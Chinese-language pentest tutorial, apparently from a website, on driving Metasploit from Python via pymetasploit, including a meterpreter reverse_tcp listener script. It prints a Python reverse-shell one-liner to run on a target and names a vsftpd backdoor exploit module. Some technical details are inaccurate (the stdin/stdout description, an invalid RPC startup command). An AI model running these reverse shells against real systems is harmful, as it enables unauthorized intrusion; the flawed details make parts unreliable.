Metasploit 本身没有官方的、功能齐全的 Python API,我们通常使用第三方库,其中最著名和功能最强大的是 pymetasploit。

核心概念:pymetasploit
pymetasploit 是一个 Python 库,它通过启动一个 Metasploit 后台进程 (msfconsole),然后使用标准输入/输出流与它进行通信,从而实现了用 Python 控制 Metasploit 的功能。
第一步:环境准备
在开始之前,请确保你已经安装了必要的软件。
安装 Metasploit Framework
pymetasploit 依赖于本地的 Metasploit Framework 安装,如果你还没有安装,请先完成这一步。
-
在 Kali Linux / Parrot OS 上:
(图片来源网络,侵删)sudo apt update sudo apt install metasploit-framework
安装后,请务必启动 Metasploit 数据库服务:
sudo msfdb init
-
在 macOS 上 (使用 Homebrew):
brew install metasploit
-
在 Windows 上: 最简单的方式是使用 Docker 运行一个预配置的 Kali Linux 容器,或者直接在 Windows Subsystem for Linux (WSL) 中安装。
安装 Python 和 pymetasploit 库
确保你安装了 Python 3.x,然后使用 pip 安装 pymetasploit。
pip install pymetasploit
第二步:基础 Python 脚本示例
让我们从一个最简单的例子开始:启动 Metasploit,列出所有可用的模块。
示例 1:连接并列出模块
# 导入必要的模块
from pymetasploit.msfrpc import MsfRpcClient
# --- 连接到 Metasploit ---
# 默认情况下,msfconsole 的 RPC 服务监听在 127.0.0.1:55553
# 用户名和密码默认都是 'msf'
try:
# 创建客户端实例
client = MsfRpcClient(
password='msf', # RPC 密码
username='msf' # RPC 用户名
)
print("[+] 成功连接到 Metasploit RPC 服务!")
# --- 列出所有模块 ---
# 使用 client.modules.list() 方法
modules = client.modules.list()
# 打印模块总数
print(f"\n[+] 共发现 {len(modules)} 个模块。")
# 打印前10个模块的名称和类型
print("\n[+] 前10个模块示例:")
for i, (module_type, module_names) in enumerate(modules.items()):
if i >= 10:
break
for name in module_names[:2]: # 每种类型只打印前2个,避免输出过长
print(f" - {module_type}/{name}")
except Exception as e:
print(f"[-] 连接失败: {e}")
print("[-] 请确保 Metasploit 正在运行,并且已启用 RPC 服务。")
print("[-] 你可以通过命令 'msfconsole -q -r /dev/stdin <<< " + "'use rpc; setserverport 55553; setserverhost 127.0.0.1; run"' + "' 来启动它。")
如何运行:
- 将上述代码保存为
list_modules.py。 - 在一个终端中,先启动 Metasploit RPC 服务,最简单的方式是直接运行
msfconsole,它会自动加载 RPC 服务。msfconsole
- 在另一个终端中,运行你的 Python 脚本:
python3 list_modules.py
第三步:执行一个完整的攻击流程
这才是 pymetasploit 的核心价值,我们可以用 Python 编写一个完整的漏洞利用脚本,包括选择模块、设置选项、执行攻击和获取会话。
重要提示: 在进行任何测试之前,请务必获得明确的、书面的授权,未经授权的扫描和攻击是非法的,以下代码仅用于学习和在授权环境中进行安全测试。
示例 2:执行一个漏洞利用并获取会话
这个例子将使用 exploit/multi/handler(一个通用的 payload 监听器)来模拟一个反向 shell 连接,这非常适合演示,因为它不依赖于一个特定的目标漏洞。
# 导入必要的模块
from pymetasploit.msfrpc import MsfRpcClient
import time
def main():
# --- 1. 连接到 Metasploit ---
try:
client = MsfRpcClient(password='msf', username='msf')
print("[+] 成功连接到 Metasploit RPC 服务!")
except Exception as e:
print(f"[-] 连接失败: {e}")
return
# --- 2. 选择并配置一个 Exploit ---
# 我们使用 exploit/multi/handler,这是一个万能的监听器
exploit = client.modules.use('exploit', 'multi/handler')
print(f"\n[+] 正在使用 exploit: {exploit.fullname}")
# --- 3. 设置 Exploit 的选项 ---
# PAYLOAD: 指定要使用的 payload
exploit.set_option('Payload', 'python/meterpreter/reverse_tcp')
# LHOST: 监听的主机地址 (攻击机的 IP)
# 你需要根据你的网络环境修改这个 IP
local_ip = '192.168.1.10' # <--- 修改为你的攻击机 IP
exploit.set_option('LHOST', local_ip)
# LPORT: 监听的端口
exploit.set_option('LPORT', '4444')
# 打印配置,方便检查
print("\n[+] Exploit 选项已设置:")
print(exploit.options)
# --- 4. 执行攻击 ---
print("\n[+] 正在启动 payload 监听器...")
exploit.execute()
# --- 5. 检查并管理会话 ---
# exploit.execute() 会启动监听器,但不会立即有会话
# 我们需要等待目标机连接
print("\n[+] 监听器已启动,请在目标机上执行以下命令来连接:")
print(f" python -c \"import socket,subprocess,os;s=socket.socket();s.connect(('{local_ip}', 4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);\"")
# 等待一段时间,让用户有时间在目标机上执行命令
# 在实际自动化中,你可能会有其他机制来触发连接
print("\n[+] 等待 60 秒,等待目标连接...")
for i in range(60, 0, -1):
print(f"\r[*] 倒计时: {i} 秒...", end="")
time.sleep(1)
print("\n")
# 检查是否有活跃的会话
sessions = client.sessions.list()
if sessions:
print("[+] 成功获取会话!")
# 打印所有会话信息
for session_id, session_info in sessions.items():
print(f" - 会话 ID: {session_id}")
print(f" - 类型: {session_info['type']}")
print(f" - 描述: {session_info['desc']}")
print(f" - 传输: {session_info['transport']}")
# --- 6. 与会话交互 ---
# 获取第一个会话的 ID
first_session_id = list(sessions.keys())[0]
print(f"\n[+] 正在与会话 {first_session_id} 交互...")
# 执行一个命令,'sysinfo'
try:
# session.run() 方法用于执行命令
response = client.sessions.session(first_session_id).run('sysinfo')
print("\n[+] 执行 'sysinfo' 命令的输出:")
# 输出通常是字节流,需要解码
print(response.decode('utf-8'))
except Exception as e:
print(f"[-] 在会话中执行命令失败: {e}")
# --- 7. 关闭会话 ---
print(f"\n[+] 正在关闭会话 {first_session_id}...")
client.sessions.session(first_session_id).stop()
print("[+] 会话已关闭。")
else:
print("[-] 在等待时间内没有收到任何会话。")
if __name__ == '__main__':
main()
如何运行这个示例:
- 将代码保存为
run_exploit.py。 - 修改
local_ip为你攻击机的实际 IP 地址(在 Kali 上运行ip a查看)。 - 在一个终端中启动
msfconsole。 - 在另一个终端中运行 Python 脚本:
python3 run_exploit.py。 - 脚本会打印出一个
python -c ...的命令。你需要在一个有 Python 环境的目标机器上(可以是另一个虚拟机)执行这个命令。 - 目标机器执行命令后,你将在 Python 脚本的终端看到 Meterpreter 会话被建立,并执行
sysinfo命令。
第四步:pymetasploit 的核心对象和方法
理解 pymetasploit 的核心对象是进行高级开发的关键。
| 对象/方法 | 描述 | 示例 |
|---|---|---|
MsfRpcClient |
客户端主对象,用于连接和管理 Metasploit。 | client = MsfRpcClient('msf') |
client.modules |
模块管理器。 | modules = client.modules.list() |
client.modules.use(type, name) |
加载一个具体的模块,返回一个模块对象。 | exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor') |
module_object |
代表一个具体的 exploit, auxiliary, 或 post 模块。 | exploit.set_option('RHOSTS', '192.168.1.5') |
module_object.execute() |
执行模块(开始攻击或扫描)。 | exploit.execute() |
module_object.options |
获取或设置模块的选项。 | exploit.options['RHOSTS'] = '192.168.1.5' |
client.sessions |
会话管理器。 | sessions = client.sessions.list() |
client.sessions.list() |
列出所有活跃的会话。 | for sid, sinfo in sessions.items(): ... |
client.sessions.session(session_id) |
获取一个特定的会话对象,用于交互。 | session = client.sessions.session(1) |
session_object.run(cmd) |
在 Meterpreter 或 shell 会话中执行命令。 | session.run('whoami') |
session_object.stop() |
关闭并终止一个会话。 | session.stop() |
总结与最佳实践
- 授权先行:永远不要在未经授权的系统上使用这些脚本。
- 错误处理:网络连接、模块加载、会话建立都可能失败,使用
try...except块来让你的脚本更健壮。 - 模块化:将功能封装成函数,写一个
connect_msf()函数,一个run_exploitloit()函数,一个interact_with_session()函数。 - 日志记录:使用 Python 的
logging模块记录脚本的执行过程、成功和失败信息,这对于调试和审计至关重要。 - 参数化:不要将 IP 地址、端口等硬编码在脚本中,使用
argparse模块从命令行读取参数,使脚本更灵活。
pymetasploit 为安全研究人员和渗透测试人员提供了一个强大的自动化工具,可以将手动、重复的 Metasploit 操作转化为可编程、可复用的 Python 脚本,极大地提高了工作效率。
